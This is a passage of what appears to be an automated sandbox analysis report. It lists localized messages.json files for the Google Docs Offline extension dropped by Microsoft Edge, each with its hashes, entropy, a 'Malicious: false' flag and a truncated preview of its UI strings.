Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

